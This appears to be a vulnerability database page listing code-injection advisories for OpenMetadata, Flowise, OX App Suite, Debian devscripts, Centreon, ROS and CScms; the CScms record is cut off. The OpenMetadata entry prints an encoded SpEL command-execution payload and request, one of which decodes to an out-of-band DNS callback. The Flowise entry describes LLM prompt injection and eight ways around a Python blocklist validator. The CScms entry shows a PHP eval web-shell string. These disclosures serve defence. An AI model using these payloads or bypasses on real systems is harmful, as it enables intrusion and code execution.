CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9396 vulnerabilities reference this CWE, most recent first.
GHSA-5XV3-FM7G-865R
Vulnerability from github – Published: 2024-04-24 17:06 – Updated: 2024-04-24 17:06SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
The CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
Snippet from PolicyResource.java
@GET
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in authoring rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
@PathParam("expression")
String expression) {
CompiledRule.validateExpression(expression, Boolean.class);
}
public static <T> void validateExpression(String condition, Class<T> clz) {
if (condition == null) {
return;
}
Expression expression = parseExpression(condition);
RuleEvaluator ruleEvaluator = new RuleEvaluator();
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
try {
expression.getValue(evaluationContext, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}
In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode
touch /tmp/pwnedin Base64 =>dG91Y2ggL3RtcC9wd25lZA== - SpEL expression to run system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Encode the payload using URL encoding:
- Encode
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
- Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.open-metadata:openmetadata-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28848"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:06:02Z",
"nvd_published_at": "2024-03-15T20:15:10Z",
"severity": "HIGH"
},
"details": "### SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nThe [`\u200eCompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.\n\n[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)\n\n```java\n @GET\n @Path(\"/validation/condition/{expression}\")\n @Operation(\n operationId = \"validateCondition\",\n summary = \"Validate a given condition\",\n description = \"Validate a given condition expression used in authoring rules.\",\n responses = {\n @ApiResponse(responseCode = \"204\", description = \"No value is returned\"),\n @ApiResponse(responseCode = \"400\", description = \"Invalid expression\")\n })\n public void validateCondition(\n @Context UriInfo uriInfo,\n @Context SecurityContext securityContext,\n @Parameter(description = \"Expression of validating rule\", schema = @Schema(type = \"string\"))\n @PathParam(\"expression\")\n String expression) {\n CompiledRule.validateExpression(expression, Boolean.class);\n }\n```\n\n```java\n public static \u003cT\u003e void validateExpression(String condition, Class\u003cT\u003e clz) {\n if (condition == null) {\n return;\n }\n Expression expression = parseExpression(condition);\n RuleEvaluator ruleEvaluator = new RuleEvaluator();\n StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);\n try {\n expression.getValue(evaluationContext, clz);\n } catch (Exception exception) {\n // Remove unnecessary class details in the exception message\n String message = exception.getMessage().replaceAll(\"on type .*$\", \"\").replaceAll(\"on object .*$\", \"\");\n throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));\n }\n }\n```\n\nIn addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n#### Proof of concept\n\n- Prepare the payload\n\t- Encode `touch /tmp/pwned` in Base64 =\u003e `dG91Y2ggL3RtcC9wd25lZA==`\n\t- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n\t- Encode the payload using URL encoding:\n```\n%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29\n```\n\n- Send the payload using a valid JWT token:\n```http\nGET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2\nHost: sandbox.open-metadata.org\nAuthorization: Bearer \u003cnon-admin JWT\u003e\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
"id": "GHSA-5xv3-fm7g-865r",
"modified": "2024-04-24T17:06:02Z",
"published": "2024-04-24T17:06:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28848"
},
{
"type": "WEB",
"url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-metadata/OpenMetadata"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)"
}
GHSA-5XVG-PMGG-3MXR
Vulnerability from github – Published: 2026-08-04 19:29 – Updated: 2026-08-04 19:29-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise
-- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10
A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.
Analysis
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSV_Agents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.
The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, __getattribute__ with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.
From packages/components/nodes/agents/CSVAgent/CSVAgent.ts:
let pythonCode = ''
if (dataframeColDict) {
const chain = new LLMChain({
llm: model,
prompt: PromptTemplate.fromTemplate(systemPrompt),
verbose: process.env.DEBUG === 'true' ? true : false
})
const inputs = {
dict: dataframeColDict,
question: input // user-controlled input substituted into prompt
}
const res = await chain.call(inputs, [loggerHandler, ...callbacks])
pythonCode = res?.text // LLM response assigned to pythonCode
pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '')
}
let finalResult = ''
if (pythonCode) {
const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied
if (!validation.valid) {
throw new Error(
`Generated code was rejected for security reasons (${
validation.reason ?? 'unsafe construct'
}). Please rephrase your question to use only pandas DataFrame operations.`
)
}
try {
const code = `import pandas as pd\nimport numpy as np\n${pythonCode}`
finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide
} catch (error) {
throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`)
}
}
An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.
Eight bypass variants were demonstrated against the validator:
| Variant | Technique | Bypasses |
|---|---|---|
| 0 | @exec decorator with string-concatenated __import__ |
/\bexec\s*\(/, /\b__import__\s*\(/ |
| 1 | eval aliased to a variable, payload chr()-encoded |
/\beval\s*\(/, /\bimport\b/ |
| 2 | df.query() with chr()-encoded @__builtins__.__import__ |
/\b__builtins__\b/, /\b__import__\s*\(/ |
| 3 | MRO traversal + __getattribute__ + __subclasses__ -> BuiltinImporter.load_module |
/\b__class__\b/, /\b__subclasses__\s*\(/, /\b__mro__\b/ |
| 4 | Generator frame inspection via gi_frame.f_globals['__loader__'] |
/\b__loader__\b/, /\b__globals__\b/ |
| 5 | Exception traceback frame walk to f_builtins['__import__'] |
/\b__globals__\b/, /\b__import__\s*\(/ |
| 6 | __build_class__.__self__.__getattribute__('__import__') |
/\b__import__\s*\(/ |
| 7 | vars aliased to a variable, __builtins__ accessed via dict key |
/\bvars\s*\(/, /\b__builtins__\b/, /\b__import__\s*\(/ |
Repro
The proof of concept (poc.py) has three modes of operation:
mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.
mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.
mode = "prompt_injection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.
python3 poc.py --mode [server OR chatflow OR prompt_injection] [--user <USER> --passwd <PASSWORD> --host <HOST> --r_host <R_HOST> --r_port <R_PORT> --l_port <L_PORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflow_id <CHAT_ID>]
-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@dre_cura) of TrendAI Research
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70477"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T19:29:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "-- ABSTRACT -------------------------------------\n\nTrend Micro\u0027s Zero Day Initiative has identified a vulnerability affecting the following products:\nFlowise - Flowise\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: 3.1.1\n* Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1)\n* Platform tested: Ubuntu 25.10\n\n---\n\nA prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.\n\n```\nThis vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.\n```\n\n### Analysis\n\nWhen a user makes a query against a chatflow using the CSV Agent node, the `run` method of the `CSV_Agents` class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user\u0027s input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named `pythonCode`. The method then attempts to validate this value using `validatePythonCodeForDataFrame` from `packages/components/src/pythonCodeValidator.ts` before evaluating it in pyodide.\n\nThe validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, `chr()` encoding, aliasing of dangerous builtins, `__getattribute__` with concatenated attribute names, frame object inspection, MRO traversal, `df.query()` expression evaluation, and decorator syntax to invoke `exec` indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.\n\nFrom `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`:\n```ts\nlet pythonCode = \u0027\u0027\nif (dataframeColDict) {\n const chain = new LLMChain({\n llm: model,\n prompt: PromptTemplate.fromTemplate(systemPrompt),\n verbose: process.env.DEBUG === \u0027true\u0027 ? true : false\n })\n const inputs = {\n dict: dataframeColDict,\n question: input // user-controlled input substituted into prompt\n }\n const res = await chain.call(inputs, [loggerHandler, ...callbacks])\n pythonCode = res?.text // LLM response assigned to pythonCode\n pythonCode = pythonCode.replace(/^```[a-z]+\\n|\\n```$/gm, \u0027\u0027)\n}\n\nlet finalResult = \u0027\u0027\nif (pythonCode) {\n const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied\n if (!validation.valid) {\n throw new Error(\n `Generated code was rejected for security reasons (${\n validation.reason ?? \u0027unsafe construct\u0027\n }). Please rephrase your question to use only pandas DataFrame operations.`\n )\n }\n try {\n const code = `import pandas as pd\\nimport numpy as np\\n${pythonCode}`\n finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide\n } catch (error) {\n throw new Error(`Sorry, I\u0027m unable to find answer for question: \"${input}\" using following code: \"${pythonCode}\"`)\n }\n}\n```\n\nAn unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.\n\nEight bypass variants were demonstrated against the validator:\n\n| Variant | Technique | Bypasses |\n|---------|-----------|----------|\n| 0 | `@exec` decorator with string-concatenated `__import__` | `/\\bexec\\s*\\(/`, `/\\b__import__\\s*\\(/` |\n| 1 | `eval` aliased to a variable, payload chr()-encoded | `/\\beval\\s*\\(/`, `/\\bimport\\b/` |\n| 2 | `df.query()` with chr()-encoded `@__builtins__.__import__` | `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n| 3 | MRO traversal + `__getattribute__` + `__subclasses__` -\u003e `BuiltinImporter.load_module` | `/\\b__class__\\b/`, `/\\b__subclasses__\\s*\\(/`, `/\\b__mro__\\b/` |\n| 4 | Generator frame inspection via `gi_frame.f_globals[\u0027__loader__\u0027]` | `/\\b__loader__\\b/`, `/\\b__globals__\\b/` |\n| 5 | Exception traceback frame walk to `f_builtins[\u0027__import__\u0027]` | `/\\b__globals__\\b/`, `/\\b__import__\\s*\\(/` |\n| 6 | `__build_class__.__self__.__getattribute__(\u0027__import__\u0027)` | `/\\b__import__\\s*\\(/` |\n| 7 | `vars` aliased to a variable, `__builtins__` accessed via dict key | `/\\bvars\\s*\\(/`, `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n\n### Repro\n\nThe proof of concept (`poc.py`) has three modes of operation:\n\n**mode = \"server\"**: Starts a malicious server that responds to \"/api/chat\" requests with a JSON object containing an LLM response with the selected attack payload.\n\n**mode = \"chatflow\"**: Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.\n\n**mode = \"prompt_injection\"**: Sends a prompt injection payload directly to an existing chatflow\u0027s prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.\n\n```\npython3 poc.py --mode [server OR chatflow OR prompt_injection] [--user \u003cUSER\u003e --passwd \u003cPASSWORD\u003e --host \u003cHOST\u003e --r_host \u003cR_HOST\u003e --r_port \u003cR_PORT\u003e --l_port \u003cL_PORT\u003e --port \u003cPORT\u003e --cmd \u003cCMD\u003e --attack \u003cATTACK\u003e --chatflow_id \u003cCHAT_ID\u003e]\n```\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nDre Cura (@dre_cura) of TrendAI Research",
"id": "GHSA-5xvg-pmgg-3mxr",
"modified": "2026-08-04T19:29:26Z",
"published": "2026-08-04T19:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5xvg-pmgg-3mxr"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability"
}
GHSA-5XXC-86G5-876Q
Vulnerability from github – Published: 2023-06-20 09:30 – Updated: 2024-01-12 09:30Attackers with access to the "documentconverterws" API were able to inject serialized Java objects, that were not properly checked during deserialization. Access to this API endpoint is restricted to local networks by default. Arbitrary code could be injected that is being executed when processing the request. A check has been introduced to restrict processing of legal and expected classes for this API. We now log a warning in case there are attempts to inject illegal classes. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2023-26436"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-20T08:15:09Z",
"severity": "HIGH"
},
"details": "Attackers with access to the \"documentconverterws\" API were able to inject serialized Java objects, that were not properly checked during deserialization. Access to this API endpoint is restricted to local networks by default. Arbitrary code could be injected that is being executed when processing the request. A check has been introduced to restrict processing of legal and expected classes for this API. We now log a warning in case there are attempts to inject illegal classes. No publicly available exploits are known.\n\n",
"id": "GHSA-5xxc-86g5-876q",
"modified": "2024-01-12T09:30:27Z",
"published": "2023-06-20T09:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26436"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/appsuite/security/advisories/csaf/2023/oxas-adv-2023-0002.json"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-2023-0002.json"
},
{
"type": "WEB",
"url": "https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6219_7.10.6_2023-03-20.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/173083/OX-App-Suite-SSRF-Resource-Consumption-Command-Injection.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Jun/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6229-3FH2-QHP3
Vulnerability from github – Published: 2022-05-14 00:53 – Updated: 2022-05-14 00:53scripts/grep-excuses.pl in Debian devscripts through 2.18.3 allows code execution through unsafe YAML loading because YAML::Syck is used without a configuration that prevents unintended blessing.
{
"affected": [],
"aliases": [
"CVE-2018-13043"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-01T22:29:00Z",
"severity": "CRITICAL"
},
"details": "scripts/grep-excuses.pl in Debian devscripts through 2.18.3 allows code execution through unsafe YAML loading because YAML::Syck is used without a configuration that prevents unintended blessing.",
"id": "GHSA-6229-3fh2-qhp3",
"modified": "2022-05-14T00:53:50Z",
"published": "2022-05-14T00:53:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13043"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/902409"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3704-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-623J-MJCM-F442
Vulnerability from github – Published: 2026-07-13 09:31 – Updated: 2026-07-13 09:31This vulnerability is a critical Server-Side Template Injection (SSTI) in Centreon's centreon-open-tickets module that leads to Remote Code Execution. The message_confirm field is stored without sanitization and rendered via Smarty with no security policy enabled, allowing any authenticated user, to inject and execute arbitrary code on the server. This results in disclosure of environment secrets and could impact platform availability of Centreon Infra Monitoring product.
{
"affected": [],
"aliases": [
"CVE-2026-14453"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T09:16:23Z",
"severity": "CRITICAL"
},
"details": "This vulnerability is a critical Server-Side Template Injection (SSTI) in Centreon\u0027s centreon-open-tickets module that leads to Remote Code Execution. The message_confirm field is stored without sanitization and rendered via Smarty with no security policy enabled, allowing any authenticated user, to inject and execute arbitrary code on the server. This results in disclosure of environment secrets and could impact platform availability of Centreon Infra Monitoring product.",
"id": "GHSA-623j-mjcm-f442",
"modified": "2026-07-13T09:31:42Z",
"published": "2026-07-13T09:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14453"
},
{
"type": "WEB",
"url": "https://github.com/centreon/centreon/releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-627Q-XCR8-8QPC
Vulnerability from github – Published: 2025-07-17 21:32 – Updated: 2025-07-17 21:32A code injection vulnerability has been identified in the Robot Operating System (ROS) 'roslaunch' command-line tool, affecting ROS distributions Noetic Ninjemys and earlier. The vulnerability arises from the use of the eval() method to process user-supplied, unsanitized parameter values within the substitution args mechanism, which roslaunch evaluates before launching a node. This flaw allows attackers to craft and execute arbitrary Python code.
{
"affected": [],
"aliases": [
"CVE-2024-39835"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-17T20:15:27Z",
"severity": "HIGH"
},
"details": "A code injection vulnerability has been identified in the Robot Operating System (ROS) \u0027roslaunch\u0027 command-line tool, affecting ROS distributions Noetic Ninjemys and earlier. The vulnerability arises from the use of the eval() method to process user-supplied, unsanitized parameter values within the substitution args mechanism, which roslaunch evaluates before launching a node. This flaw allows attackers to craft and execute arbitrary Python code.",
"id": "GHSA-627q-xcr8-8qpc",
"modified": "2025-07-17T21:32:14Z",
"published": "2025-07-17T21:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39835"
},
{
"type": "WEB",
"url": "https://www.ros.org/blog/noetic-eol"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-62F5-95Q3-QXV8
Vulnerability from github – Published: 2022-05-14 01:58 – Updated: 2022-05-14 01:58CScms 4.1 allows remote code execution, as demonstrated by 1');eval($_POST[cmd]);# in Web Name to upload\plugins\sys\Install.php.
{
"affected": [],
"aliases": [
"CVE-2018-17126"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-17T04:29:00Z",
"severity": "CRITICAL"
},
